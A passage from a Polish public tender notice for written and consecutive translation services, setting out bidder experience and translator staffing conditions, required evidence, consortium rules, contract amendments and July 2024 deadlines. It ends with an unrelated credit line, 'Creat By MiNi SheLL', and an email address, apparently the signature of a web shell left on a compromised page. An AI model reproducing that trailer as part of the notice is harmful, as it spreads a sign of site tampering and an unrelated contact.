Wykonawcy (Rozdział 5 ust. 3 SWZ):<br/>1) Zamawiający uzna warunek za spełniony, jeżeli Wykonawca wykaże, iż w okresie ostatnich 3 lat przed upływem terminu składania ofert, a jeżeli okres prowadzonej działalności jest krótszy - w tym okresie, należycie wykonał lub nadal wykonuje co najmniej dwie usługi tłumaczeniowe w zakresie Tłumaczeń Pisemnych (usługa rozumiana jako jedna umowa lub jedno zlecenie) z języka angielskiego oraz języka hiszpańskiego lub języka francuskiego na język polski lub odwrotnie, a wartość zrealizowanych (wykonanych) zleceń w ramach ww. usług (umów lub zleceń) łącznie wynosi co najmniej 30.000,00 zł (trzydzieści tysięcy złotych) brutto. <br/>2) Usługi (umowy lub zlecenia) wykazywane na potrzeby spełniania ww. warunku muszą obejmować Tłumaczenia Pisemne z:<br/>a) języka angielskiego na język polski (lub odwrotnie) oraz<br/>b) języka hiszpańskiego na język polski (lub odwrotnie) lub z języka francuskiego na język polski (lub odwrotnie), ewentualnie obu ww. języków obcych.<br/>4) Warunek w zakresie doświadczenia Wykonawcy oznacza, że albo Wykonawca składający ofertę spełnia go samodzielnie albo co najmniej jeden z Wykonawców występujących wspólnie wykaże, że należycie zrealizował co najmniej dwie usługi (umowy lub zlecenia) o łącznej wartości co najmniej 30 000 złotych brutto. <br/>5) Jeśli Wykonawca, polega na zasobach innego podmiotu, podmiot ten musi wykazać się należytym wykonaniem co najmniej 2 usług Tłumaczeń Pisemnych. Wykonawca może polegać na zdolnościach podmiotów udostępniających zasoby, jeśli podmioty te będą wykonywały usługi Tłumaczeń Pisemnych na rzecz Zamawiającego.<br/><br/>2. Warunek w zakresie zdolności technicznej lub zawodowej w zakresie potencjału osób skierowanych przez Wykonawcę do realizacji zamówienia (Rozdział 5 ust. 4 – dotyczy Części I zamówienia):<br/>1) w zakresie Tłumaczeń Pisemnych z języka angielskiego - Zamawiający uzna warunek za spełniony, jeśli Wykonawca wykaże, że dysponuje lub będzie dysponował na czas realizacji zamówienia minimum 3 osobami spełniającymi wymagania w zakresie kompetencji i doświadczenia Tłumaczy określone w Rozdziale 5 ust. 4 pkt 1 SWZ (każda z osób musi spełniać łącznie wszystkie wymienione wymagania),<br/>2) w zakresie Tłumaczeń Pisemnych z języka hiszpańskiego - Zamawiający uzna warunek za spełniony, jeśli Wykonawca wykaże, że dysponuje lub będzie dysponował na czas realizacji zamówienia minimum 2 osobami spełniającymi wymagania w zakresie kompetencji i doświadczenia Tłumaczy określone w Rozdziale 5 ust. 4 pkt 2 SWZ (każda z osób musi spełniać łącznie wszystkie wymienione wymagania),<br/>3) w zakresie Tłumaczeń Pisemnych z języka francuskiego - Zamawiający uzna warunek za spełniony, jeśli Wykonawca wykaże, że dysponuje lub będzie dysponował na czas realizacji zamówienia minimum 2 osobami spełniającymi wymagania w zakresie kompetencji i doświadczenia Tłumaczy określone w Rozdziale 5 ust. 4 pkt 3 SWZ (każda z osób musi spełniać łącznie wszystkie wymienione wymagania),<br/>4) Warunek w zakresie potencjału osób skierowanych przez Wykonawcę do realizacji zamówienia oznacza, że albo Wykonawca składający ofertę spełnia go samodzielnie albo co najmniej jeden z Wykonawców występujących wspólnie wykaże, że dysponuje minimalną liczbą osób spełniających wszystkie wymagane kryteria.<br/>5) Jeśli Wykonawca, polega na zasobach innego podmiotu, podmiot ten musi wykazać się dysponowaniem ww. osobami. Wykonawca może polegać na zdolnościach podmiotów udostępniających zasoby, jeśli podmioty te skierują do realizacji zamówienia ww. osoby do realizacji usług Tłumaczeń Pisemnych (wskazane w załączniku do Formularza Oferty osoby, spełniające wyżej określone kryteria, zostaną wpisane na listę, stanowiącą załącznik do Umowy).<br/><br/>II. Zamawiający przewiduje w ramach Części II zamówienia - Tłumaczeń Konsekutywnych - następujące warunki udziału w postępowaniu:<br/>1. Warunek w zakresie doświadczenia Wykonawcy (Rozdział 5 ust. 5 SWZ):<br/>1) Zamawiający uzna warunek za spełniony, jeżeli Wykonawca wykaże, iż w okresie ostatnich 3 lat przed upływem terminu składania ofert, a jeżeli okres prowadzonej działalności jest krótszy - w tym okresie, należycie wykonał lub nadal wykonuje co najmniej 2 usługi tłumaczeniowe w zakresie Tłumaczeń Konsekutywnych lub symultanicznych (usługa rozumiana jako jedna umowa lub jedno zlecenie) z języka angielskiego na język polski lub odwrotnie, a wartość zrealizowanych (wykonanych) zleceń w ramach ww. usług (umów lub zleceń) łącznie wynosi co najmniej 20.000,00 zł (dwadzieścia tysięcy złotych brutto). Usługi (umowy lub zlecenia) wykazywane na potrzeby spełniania ww. warunku muszą obejmować Tłumaczenia Konsekutywne lub symultaniczne z języka angielskiego na język polski (lub odwrotnie).<br/>2) Warunek w zakresie doświadczenia Wykonawcy oznacza, że albo Wykonawca składający ofertę spełnia go samodzielnie albo co najmniej jeden z Wykonawców występujących wspólnie wykaże, że należycie zrealizował co najmniej trzy usługi (umowy lub zlecenia) o łącznej wartości co najmniej 20 000 złotych brutto. Jeśli Wykonawca, polega na zasobach innego podmiotu, podmiot ten musi wykazać się należytym wykonaniem co najmniej 2 usług Tłumaczeń Konsekutywnych lub symultanicznych. Wykonawca może polegać na zdolnościach podmiotów udostępniających zasoby, jeśli podmioty te będą wykonywały usługi Tłumaczeń Konsekutywnych na rzecz Zamawiającego.<br/><br/>2. Warunek udziału w postępowaniu w zakresie potencjału osób skierowanych przez Wykonawcę do realizacji zamówienia (Rozdział 5 ust. 6 SWZ):<br/>1) Zamawiający uzna warunek za spełniony, jeśli Wykonawca wykaże, że dysponuje lub będzie dysponował na czas realizacji zamówienia (w ramach części II – Tłumaczeń Konsekutywnych) minimum 3 osobami spełniającymi wymagania w zakresie kompetencji i doświadczenia Tłumaczy określone w Rozdziale 5 ust. 6 pkt 1 SWZ (każda z osób musi spełniać łącznie wszystkie wymienione wymagania),<br/>2) Zamawiający uzna powyższy warunek za spełniony, jeżeli każda z osób, którymi Wykonawca będzie dysponował w trakcie realizacji usług Tłumaczeń Konsekutywnych objętych umową, zrealizowała należycie, w okresie ostatnich 5 lat przed upływem terminu składania ofert, a jeżeli okres prowadzonej działalności jest krótszy -w tym okresie, co najmniej 5 Tłumaczeń Konsekutywnych lub symultanicznych z języka angielskiego na język polski (lub odwrotnie) w trakcie oficjalnych delegacji, kongresów, konferencji międzynarodowych, szkoleń lub spotkań dwu lub wielostronnych, w zakresie tematyki wskazanej powyżej. Udział w jednym wydarzeniu (spotkaniu) jest traktowany jako jedno Tłumaczenie Konsekutywne lub symultaniczne.<br/>3) Warunek w zakresie potencjału osób skierowanych przez Wykonawcę do realizacji zamówienia w zakresie Tłumaczeń Konsekutywnych oznacza, że albo Wykonawca składający ofertę spełnia go samodzielnie albo co najmniej jeden z Wykonawców występujących wspólnie wykaże, że dysponuje minimalną liczbą osób spełniających wszystkie wymagane kryteria. <br/>4) Jeśli Wykonawca, polega na zasobach innego podmiotu, podmiot ten musi wykazać się dysponowaniem ww. osobami. Wykonawca może polegać na zdolnościach podmiotów udostępniających zasoby, jeśli podmioty te skierują do realizacji zamówienia ww. osoby do realizacji usług tłumaczeń konsekutywnych (wskazane w załączniku do Formularza Oferty osoby, spełniające wyżej określone kryteria, zostaną wpisane na listę, stanowiącą załącznik do Umowy.<br/><br/>ZAMAWIAJĄCY DOKONA OCENY SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU NA PODSTAWIE OŚWIADCZEŃ I DOKUMENTÓW WSKAZANYCH W ROZDZIALE 12 SWZ.<br/><br/>UWAGA! Określona minimalna liczba Tłumaczy skierowanych do realizacji zamówienia w zakresie Tłumaczeń Pisemnych i Weryfikacji Tłumaczeń (Część I zamówienia) oraz Tłumaczeń Konsekutywnych (Część II zamówienia) stanowią warunki udziału w postępowaniu, natomiast zaoferowanie przez Wykonawcę w Formularzu oferty większej liczby Tłumaczy (spełniających wszystkie wymagania), skierowanych do realizacji zamówienia stanowią część kryteriów oceny ofert. <h3 class="mb-0">5.5.) Zamawiający wymaga złożenia oświadczenia, o którym mowa w art.125 ust. 1 ustawy: <span class="normal">Tak</span></h3> <h3 class="mb-0"> 5.6.) Wykaz podmiotowych środków dowodowych na potwierdzenie niepodlegania wykluczeniu: <span class="normal">1.	Wykonawca, w związku z art. 273 ust 2 ustawy Pzp, zobowiązany jest złożyć wraz z ofertą oświadczenie, o którym mowa w art. 125 ust. 1 ustawy Pzp stanowiące wstępne potwierdzenie, że Wykonawca na dzień składania ofert nie podlega wykluczeniu oraz spełnia warunki udziału w postępowaniu (zał. numer 7 do SWZ – Oświadczenia).<br/>2.	Oświadczenie, że wobec Wykonawcy nie zachodzi podstawa do jego wykluczenia w związku z okolicznościami wskazanymi w art. 7 ust. 1 ustawy z dnia 13 kwietnia 2022 r. o szczególnych rozwiązaniach w zakresie przeciwdziałania wspieraniu agresji na Ukrainę oraz służących ochronie bezpieczeństwa narodowego (Dz. U. z 2023 r. poz. 1497), (zał. numer 7 do SWZ – Oświadczenia).<br/>3.	Wykonawca, który polega na zdolnościach lub sytuacji podmiotów udostępniających zasoby, w związku z art. 118 ust. 3 ustawy Pzp, składa, wraz z ofertą, zobowiązanie podmiotu udostępniającego zasoby do oddania mu do dyspozycji niezbędnych zasobów na potrzeby realizacji danego zamówienia lub inny dokument potwierdzający, że Wykonawca realizując zamówienie, będzie dysponował niezbędnymi zasobami tych podmiotów - wzór stanowi załącznik nr 8 do SWZ.<br/>4.	Zamawiający wymaga, aby Wykonawca w związku z art. 127 ust. 1 pkt 1 ustawy Pzp w pkt B.5 Formularza oferty, stanowiącym załącznik nr 3A lub 3B do SWZ, wskazał dane do bezpłatnych i ogólnodostępnych baz danych, w szczególności rejestrów publicznych w rozumieniu ustawy z dnia 17 lutego 2005 r. o informatyzacji działalności podmiotów realizujących zadania publiczne (KRS lub CEIDG). Zamawiający w przypadku wskazania w Formularzu oferty nie wymaga przesyłania wraz z ofertą aktualnych wydruków z baz, o których mowa w zdaniu poprzedzającym.<br/>5. Ponadto, Wykonawca zobowiązany jest do złożenia w ramach oferty:<br/>1) dokumenty na potwierdzenie umocowania do reprezentowania Wykonawcy (o ile umocowanie nie wynika z danych zawartych w KRS lub CEIDG).<br/>2) na potwierdzenie spełniania przez Wykonawcę warunków udziału w postępowaniu w zakresie zdolności zawodowej, określonych w Rozdziale 5 ust. 4 lub w ust. 6 SWZ - Wykaz osób (Tłumaczy), które Wykonawca skieruje do realizacji zamówienia w ramach spełnienia minimalnych warunków udziału w postępowaniu, (w zależności od części zamówienia, której dotyczy oferta), tj.:<br/>a) w zakresie Części I zamówienia – Tłumaczeń Pisemnych i Weryfikacji Tłumaczeń – wykaz musi zawierać dane minimum 3 Tłumaczy w zakresie języka angielskiego oraz dane minimum 2 Tłumaczy z języka hiszpańskiego oraz dane minimum 2 Tłumaczy z języka francuskiego wraz z informacjami potwierdzającymi ich wykształcenie oraz doświadczenie w zakresie Tłumaczeń Pisemnych z dziedzin wymienionych w rozdziale 5 ust. 4 – wzór stanowi załącznik numer 4A do SWZ.<br/>b) w zakresie Części II zamówienia – Tłumaczeń Konsekutywnych – wykaz musi zawierać dane minimum 3 Tłumaczy w zakresie języka angielskiego wraz z informacjami potwierdzającymi ich wykształcenie oraz doświadczenie w zakresie Tłumaczeń Konsekutywnych lub symultanicznych z dziedzin wymienionych w Rozdziale 5 ust. 6 – wzór stanowi załącznik numer 4B do SWZ.<br/><br/>3) o ile Wykonawca w ramach kryteriów oceny ofert zadeklarował w Formularzu Oferty większą niż minimalna liczbę Tłumaczy – Wykonawca zobowiązany jest do złożenia wraz z ofertą Wykazu osób (Tłumaczy) potwierdzającego wskazaną w Formularzu oferty liczbę Tłumaczy:<br/>a) w zakresie Części I zamówienia – wzór stanowi załącznik numer 6A do SWZ,<br/>b) w zakresie Części II zamówienia – wzór stanowi załącznik numer 6B do SWZ.<br/>4) na potwierdzenie spełniania przez Wykonawcę warunków udziału w postępowaniu w zakresie doświadczenia Wykonawcy, określonych w Rozdziale 5 ust. 3 lub w ust. 5 SWZ - Wykaz usług, (w zależności od części zamówienia, której dotyczy oferta), tj.:<br/>a) w zakresie Części I zamówienia –wzór stanowi załącznik numer 5A do SWZ (dla każdej części oddzielny wzór);<br/>b) w zakresie Części II zamówienia – wzór stanowi załącznik numer 5B do SWZ (dla każdej części oddzielny wzór).</span> </h3> <h3 class="mb-0"> 5.7.) Wykaz podmiotowych środków dowodowych na potwierdzenie spełniania warunków udziału w postępowaniu: <span class="normal">I. Dla Części I zamówienia - Tłumaczeń Pisemnych i Weryfikacji Tłumaczeń:<br/>1. W celu potwierdzenia spełniania warunków udziału w postępowaniu w zakresie doświadczenia Wykonawcy, o których mowa w Rozdziale 5 ust. 3 SWZ, Wykonawca zobowiązany jest do złożenia wraz z ofertą Wykazu usług należycie wykonanych lub wykonywanych wraz z dokumentami potwierdzającymi ich należytą realizację. Wzór wykazu usług stanowi załączniki numer 5A do SWZ (dla Części I).<br/>2. W celu potwierdzenia spełniania warunków udziału w postępowaniu w zakresie zdolności zawodowej Wykonawcy (potencjału osób skierowanych do realizacji zamówienia, o których mowa w Rozdziale 5 ust. 4 SWZ, Wykonawca zobowiązany jest do złożenia wraz z ofertą Wykazu osób (Tłumaczy) spełniających wymagania w zakresie kompetencji i doświadczenia. Wzór wykazu na potwierdzenie warunków udziału w postępowaniu (oddzielne dla każdej z Części zamówienia) stanowi załączniki numer 4A do SWZ (dla Części I). <br/><br/>II. Dla Części II zamówienia - Tłumaczeń Konsekutywnych:<br/>1. W celu potwierdzenia spełniania warunków udziału w postępowaniu w zakresie doświadczenia Wykonawcy, o których mowa w Rozdziale 5 ust. 5 SWZ, Wykonawca zobowiązany jest do złożenia wraz z ofertą Wykazu usług należycie wykonanych lub wykonywanych wraz z dokumentami potwierdzającymi ich należytą realizację. Wzór wykazu usług stanowi załączniki numer 5B do SWZ (dla Części II).<br/>2. W celu potwierdzenia spełniania warunków udziału w postępowaniu w zakresie zdolności zawodowej Wykonawcy (potencjału osób skierowanych do realizacji zamówienia, o których mowa w Rozdziale 5 ust. 6 SWZ, Wykonawca zobowiązany jest do złożenia wraz z ofertą Wykazu osób (Tłumaczy) spełniających wymagania w zakresie kompetencji i doświadczenia. Wzór wykazu na potwierdzenie warunków udziału w postępowaniu (oddzielne dla każdej z Części zamówienia) stanowi załączniki numer 4B do SWZ (dla Części II). <br/><br/>W RAZIE POTRZEBY ZAMAWIAJĄCY DOPUSZCZA WSTAWIENIE PRZEZ WYKONAWCÓW W ZAŁĄCZNIKACH 4A, 4B, 5A, 5B, ORAZ 6A I 6B DODATKOWYCH WIERSZY - NP. GDY WYKONAWCA BĘDZIE CHCIAŁ WYKAZAĆ WIĘKSZĄ LICZBĘ TŁUMACZY LUB USŁUG LUB WYKONANYCH PRZEZ TŁUMACZY USŁUG TŁUMACZEŃ.<br/><br/>SZCZEGÓŁOWE INFORMACJE W ZAKRESIE WW. WYKAZÓW ORAZ INNYCH ZAŁĄCZNIKÓW, KTÓRE WYKONAWCY POWINNI DOŁĄCZYĆ DO OFERTY ZOSTAŁY OPISANE W ROZDZIALE 12 UST. 23 SWZ.</span> </h3> <h3 class="mb-0">5.8.) Wykaz przedmiotowych środków dowodowych: </h3> Zamawiający nie wymaga przedmiotowych środków dowodowych w niniejszym postępowaniu. <h3 class="mb-0">5.9.) Zamawiający przewiduje uzupełnienie przedmiotowych środków dowodowych: <span class="normal">Nie</span></h3> <h3 class="mb-0">5.11.) Wykaz innych wymaganych oświadczeń lub dokumentów: </h3> Wykaz wszystkich dokumentów jakie Wykonawcy powinni złożyć w ramach kompletnych ofert został wskazany w Rozdziale 12 ust. 23 SWZ. <h2 class="bg-light p-3 mt-4">SEKCJA VI - WARUNKI ZAMÓWIENIA</h2> <h3 class="mb-0">6.1.) Zamawiający wymaga albo dopuszcza oferty wariantowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.3.) Zamawiający przewiduje aukcję elektroniczną: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.4.) Zamawiający wymaga wadium: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.5.) Zamawiający wymaga zabezpieczenia należytego wykonania umowy: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.6.) Wymagania dotyczące składania oferty przez wykonawców wspólnie ubiegających się o udzielenie zamówienia: </h3> 1.	Wykonawcy mogą wspólnie ubiegać się o udzielenie zamówienia. W takim przypadku, Wykonawcy ustanawiają pełnomocnika do reprezentowania ich w postępowaniu o udzielenie zamówienia albo do reprezentowania w postępowaniu i zawarcia umowy w sprawie zamówienia publicznego.<br/>2.	Wszelka korespondencja prowadzona będzie przez Zamawiającego wyłącznie z pełnomocnikiem, którego adres oraz dane kontaktowe należy wpisać w Formularzu oferty.<br/>3.	Pełnomocnictwo do reprezentowania wszystkich wykonawców wspólnie ubiegających <br/>się o zamówienie lub inny dokument (np. umowa konsorcjum), z którego wynika takie pełnomocnictwo należy złożyć razem z ofertą.<br/>4.	Każdy z Wykonawców wspólnie ubiegających się o zamówienie składa oświadczenie, o którym mowa w Rozdziale 7 ust. 1 SWZ, zgodne z treścią załącznika nr 7 do SWZ, aktualne na dzień składania ofert, celem wstępnego potwierdzenia, że każdy z Wykonawców ubiegających się wspólnie o zamówienie nie podlega wykluczeniu z postępowania na podstawie art. 108 ust. 1 ustawy Pzp oraz spełnia warunki udziału w postępowaniu określone w SWZ a także oświadczenie dotyczące przesłanek wykluczenia z postępowania na podstawie art. 7 ust. 1 ustawy o szczególnych rozwiązaniach w zakresie przeciwdziałania wspieraniu agresji na Ukrainę oraz służących ochronie bezpieczeństwa narodowego.<br/>5.	Wspólnicy spółki cywilnej są traktowani jak Wykonawcy składający ofertę wspólną i mają do nich zastosowanie zasady określone w niniejszym rozdziale. Spółka cywilna ubiegająca się o zamówienie musi wyznaczyć pełnomocnika do jej reprezentowania. Ustawowe zasady reprezentacji spółki cywilnej zezwalające każdemu wspólnikowi na jej reprezentowanie w takich granicach, w jakich jest uprawniony do prowadzenia jej spraw, nie spełniają bowiem wymogu z art. 58 ust. 2 ustawy Pzp.<br/>6.	W przypadku Wykonawców składających ofertę wspólną wynagrodzenie należne Wykonawcy wpłacane będzie na konto podmiotu zwanego Liderem, wskazanego wspólnie przez podmioty występujące jako Wykonawca.<br/>7.	Zamawiający nie określił odmiennych wymagań związanych z realizacją zamówienia <br/>w odniesieniu do Wykonawców wspólnie ubiegających się o udzielenie zamówienia. <br/>8.	Jeżeli zostanie wybrana oferta Wykonawców wspólnie ubiegających się o udzielenie zamówienia, Zamawiający może żądać przed zawarciem umowy w sprawie zamówienia publicznego kopii umowy regulującej współpracę tych Wykonawców. <h3 class="mb-0">6.7.) Zamawiający przewiduje unieważnienie postępowania, jeśli środki publiczne, które zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia nie zostały przyznane: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VII - PROJEKTOWANE POSTANOWIENIA UMOWY</h2> <h3 class="mb-0">7.1.) Zamawiający przewiduje udzielenia zaliczek: <span class="normal">Nie</span></h3> <h3 class="mb-0">7.3.) Zamawiający przewiduje zmiany umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.4.) Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia: </h3> I. Dla Części I - Tłumaczeń Pisemnych i Weryfikacji Tłumaczeń - zmiany umowy zostały opisane w § 8 proponowanych postanowień umownych (załącznik numer 2A do SWZ).<br/>1. Strony dopuszczają możliwość zmian umowy, pod warunkiem wyrażenia zgody na zmianę przez Zamawiającego, jeżeli jest to niezbędne do realizacji celów umowy, jak niżej:<br/>1) zmiana Terminu Realizacji Tłumaczeń Pisemnych lub Weryfikacji Tłumaczeń, za uprzednią zgodą Zamawiającego, w przypadkach okreslonych w umowie.<br/>2) zmiana okresu na jaki została zawarta umowa, w przypadkach okreslonych w umowie.<br/>3) zmiana Tłumaczy wskazanych na liście, stanowiącej załącznik numer 3 do umowy, pod warunkiem, że nowi Tłumacze będą spełniali minimalne wymagania w zakresie Zamawiającego określone w Specyfikacji Warunków Zamówienia oraz z zastrzeżeniem, że nowi Tłumacze, skierowani do realizacji umowy, zostaną uprzednio zaakceptowani przez Zamawiającego. Zmiany takie mogą nastąpić w przypadkach określonych w umowie.<br/>4) zmiana (zarówno w dół jak i w górę) wynagrodzenia przewidzianego w ramach umowy wynikająca ze zmiany ceny brutto jednej Strony Tłumaczeniowej wskazanej przez Wykonawcę w ofercie:<br/>a) wynikającą ze zmiany wysokości stawki podatku VAT poprzez wprowadzenie nowej stawki VAT, jeżeli zmiana ta będzie miała wpływ na koszty wykonania zamówienia przez Wykonawcę,<br/>b) wynikającą z postanowień umowy dotyczących waloryzacji wynagrodzenia, o których mowa w § 9 umowy.<br/><br/>II. Dla Części II - Tłumaczeń Pisemnych i Weryfikacji Tłumaczeń - przewidywane zmiany umowy zostały opisane w § 8 proponowanych postanowień umownych (załącznik numer 2B do SWZ).<br/>1. Strony przewidują możliwość zmian umowy, pod warunkiem wyrażenia zgody na zmianę przez Zamawiającego, jeżeli jest to niezbędne do realizacji celów umowy wskazanych w § 1, jak niżej:<br/>1) zmiana okresu na jaki została zawarta umowa, w przypadkach określonych w umowie:<br/>2) zmiana Tłumaczy wskazanych na liście, stanowiącej załącznik numer 3 do umowy, pod warunkiem, że nowi Tłumacze będą spełniali minimalne wymagania w zakresie Zamawiającego określone w Specyfikacji Warunków Zamówienia oraz z zastrzeżeniem, że nowi Tłumacze, skierowani do realizacji umowy, muszą zostać zaakceptowani uprzednio przez Zamawiającego. Zmiany takie mogą nastąpić w przypadkach określonych w umowie.<br/>3) Zmiana (zarówno w dół jak i w górę) wynagrodzenia przewidzianego w ramach umowy wynikająca ze zmiany ceny brutto wskazanej jednej godziny zegarowej przez Wykonawcę w ofercie:<br/>a) wynikającą ze zmiany wysokości stawki podatku VAT poprzez wprowadzenie nowej stawki VAT, jeżeli zmiana ta będzie miała wpływ na koszty wykonania zamówienia przez Wykonawcę,<br/>b) wynikającą z postanowień umowy dotyczących waloryzacji wynagrodzenia, o których mowa w § 9.<br/>2. Zmiana Tłumaczy wskazanych będzie realizowana na zasadach określonych w umowie. <h3 class="mb-0">7.5.) Zamawiający uwzględnił aspekty społeczne, środowiskowe, innowacyjne lub etykiety związane z realizacją zamówienia: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VIII – PROCEDURA</h2> <h3 class="mb-0">8.1.) Termin składania ofert: <span class="normal">2024-07-11 10:00</span></h3> <h3 class="mb-0">8.2.) Miejsce składania ofert: <span class="normal">Oferty składa się wyłącznie za pośrednictwem platformy ezamówienia.gov.pl. Szczegółowe zapisy w tym zakresie zostały określone w rozdziale 13 SWZ.</span></h3> <h3 class="mb-0">8.3.) Termin otwarcia ofert: <span class="normal">2024-07-11 11:00</span></h3> <h3 class="mb-0">8.4.) Termin związania ofertą: <span class="normal"> 30 dni </span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IX – POZOSTAŁE INFORMACJE</h2> 1. Zamawiający rekomenduje zapoznanie się z obsługą Platformy e-Zamówienia z odpowiednim wyprzedzeniem. Zamawiający zaleca podejmowanie z odpowiednim wyprzedzeniem czynności związanych z udziałem w postępowaniu za pośrednictwem Platformy, ze szczególnym uwzględnieniem czasu niezbędnego na przygotowanie i złożenie oferty (przygotowanie i wypełnienie oraz podpisanie i przekazanie za pośrednictwem Platformy wszystkich wymaganych dokumentów).<br/><br/>2. Wszelkie informacje stanowiące tajemnicę przedsiębiorstwa w rozumieniu ustawy z dnia 16 kwietnia 1993 r. o zwalczaniu nieuczciwej konkurencji, które Wykonawca zastrzeże jako tajemnice przedsiębiorstwa, powinny zostać złożone w osobnym pliku wraz z jednoczesnym zaznaczeniem w nazwie pliku „Dokument stanowiący tajemnicę przedsiębiorstwa”, a następnie wraz z plikami stanowiącymi jawną część skompresowane do jednego pliku (ZIP). Wykonawca zobowiązany jest, wraz z przekazaniem tych informacji, wykazać spełnienie wszystkich przesłanek określonych w art. 11 ust. 2 ustawy z dnia 16 kwietnia 1993 r. o zwalczaniu nieuczciwej konkurencji. Zaleca się, aby uzasadnienie zastrzeżenia informacji jako tajemnicy przedsiębiorstwa było sformułowane w sposób umożliwiający jego udostępnienie. Zastrzeżenie przez Wykonawcę tajemnicy przedsiębiorstwa bez uzasadnienia, będzie traktowane przez Zamawiającego jako bezskuteczne ze względu na zaniechanie przez Wykonawcę podjęcia niezbędnych działań w celu zachowania poufności objętych klauzulą informacji zgodnie z postanowieniami art. 18 ust. 3 ustawy Pzp.

Creat By MiNi SheLL
Email: jattceo@gmail.com